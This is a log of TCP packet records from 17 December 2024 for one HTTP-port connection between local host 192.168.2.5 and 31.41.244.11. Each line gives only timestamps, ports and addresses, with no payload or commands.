Dec 17, 2024 08:03:49.597163916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.597227097 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.598068953 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.598124981 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.598226070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.598290920 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.599044085 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.599098921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.599159956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.599273920 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.600065947 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.600116968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.600178957 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.600239038 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.601104021 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.601155996 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.601191998 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.601233959 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.602065086 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.602118015 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.602194071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.602283001 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.603076935 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.603126049 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.603188038 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.603235960 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.604104996 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.604157925 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.604273081 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.604321957 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.605082035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.605132103 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.605207920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.605252028 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.606125116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.606204987 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.606252909 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.606307030 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.607116938 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.607176065 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.607248068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.607335091 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.608103991 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.608151913 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.608314991 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.608376980 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.609190941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.609261036 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.609324932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.609392881 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.610240936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.610368967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.610393047 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.610441923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.611201048 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.611259937 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.611325979 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.611366987 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.612201929 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.612253904 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.612318039 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.612432003 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.613204956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.613255024 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.613260984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.613306046 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.614176035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.614229918 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.614293098 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.614423990 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.615185976 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.615245104 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.615294933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.615406990 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.616173029 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.616230965 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.616296053 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.616353989 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.617379904 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.617435932 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.617497921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.617541075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.618136883 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.618191004 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.757600069 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.757637978 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.757725954 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.757849932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.757911921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.757946968 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.757998943 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.758857965 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.758893013 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.758944988 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.759792089 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.759840965 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.759896040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.759941101 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.760839939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.760884047 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.760960102 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.761004925 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.761940002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.761975050 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.761984110 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.762022018 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.762840033 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.762875080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.762927055 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.764149904 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.764184952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.764197111 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.764230013 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.765221119 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.765254974 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.765265942 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.765294075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.765796900 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.765841961 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.765922070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.765965939 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.766942024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.766978979 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.767024040 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.768023014 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.768059015 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.768070936 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.768100977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.769071102 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.769104004 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.769114971 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.769140005 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.769890070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.769926071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.769934893 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.769962072 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.770874977 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.770921946 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.770929098 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.770970106 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.771899939 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.772219896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.772264004 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.773010015 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.773044109 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.773051023 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.773087025 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.773966074 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.774012089 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.774159908 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.774209976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.775350094 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.775515079 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.775559902 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.776631117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.776675940 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.776740074 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.776783943 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.778037071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.778130054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.778208017 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.778240919 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.779887915 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.779961109 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.780009985 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.781240940 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.781275034 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.781287909 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.781317949 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.782115936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.782164097 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.782165051 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.782213926 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.782706022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.782813072 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.782860041 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.783926010 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.783972025 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.784257889 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.784305096 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.784672022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.784709930 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.784771919 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.784815073 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.785325050 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.785360098 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.785367966 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.785407066 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.786068916 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.786103964 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.786112070 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.786145926 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.786660910 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.786695957 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.786704063 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.786737919 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.787120104 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.787194967 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.787236929 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.787972927 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.788017988 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.788153887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.788198948 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.788995981 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.789040089 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.789096117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.789139032 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.790096045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.790138960 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.790146112 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.790177107 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.790990114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.791188002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.791240931 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.792093039 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.792126894 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.792140007 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.792170048 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.793173075 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.793206930 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.793216944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.793246984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.794262886 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.794298887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.794312000 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.794625998 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.795047045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.795095921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.795157909 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.795197964 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.796191931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.796225071 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.796231985 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.796266079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.797269106 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.797302961 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.797312975 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.797344923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.798305035 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.798340082 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.798362970 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.798381090 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.799118996 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.799355030 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.799401045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.800105095 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.800148010 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.800208092 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.800251961 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.801245928 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.801289082 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.801451921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.801496029 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.802083015 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.802125931 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.802187920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.802232027 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.803173065 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.803226948 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.803275108 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.804255962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.804301023 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.804347038 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.804392099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.805282116 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.805389881 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.805438042 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.806140900 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.806193113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.806238890 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.807212114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.807245970 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.807292938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.808371067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.808407068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.808414936 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.808449984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.809142113 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.809185982 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.809242010 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.809284925 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.810132027 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.810182095 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.949405909 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.949470997 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.949573994 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.949624062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.949829102 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.949882984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.949997902 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.950076103 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.950947046 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.950997114 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.951059103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.951131105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.951750040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.951795101 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.952153921 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.952198029 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.952274084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.952318907 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.953257084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.953293085 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.953303099 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.953336954 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.954191923 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.954261065 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.954284906 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.954329014 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.955117941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.955168009 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.955336094 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.955385923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.956351995 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.956409931 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.956413984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.956454039 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.957170963 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.957222939 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.957318068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.957360983 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.958204985 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.958251953 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.958259106 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.958295107 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.959163904 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.959206104 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.959306002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.959361076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.960138083 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.960186958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.960236073 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.960325003 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.961160898 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.961208105 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.961285114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.961333036 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.962229967 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:49.962277889 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:49.962311029 CET	80	49920	31.41.244.11	192.168.2.5
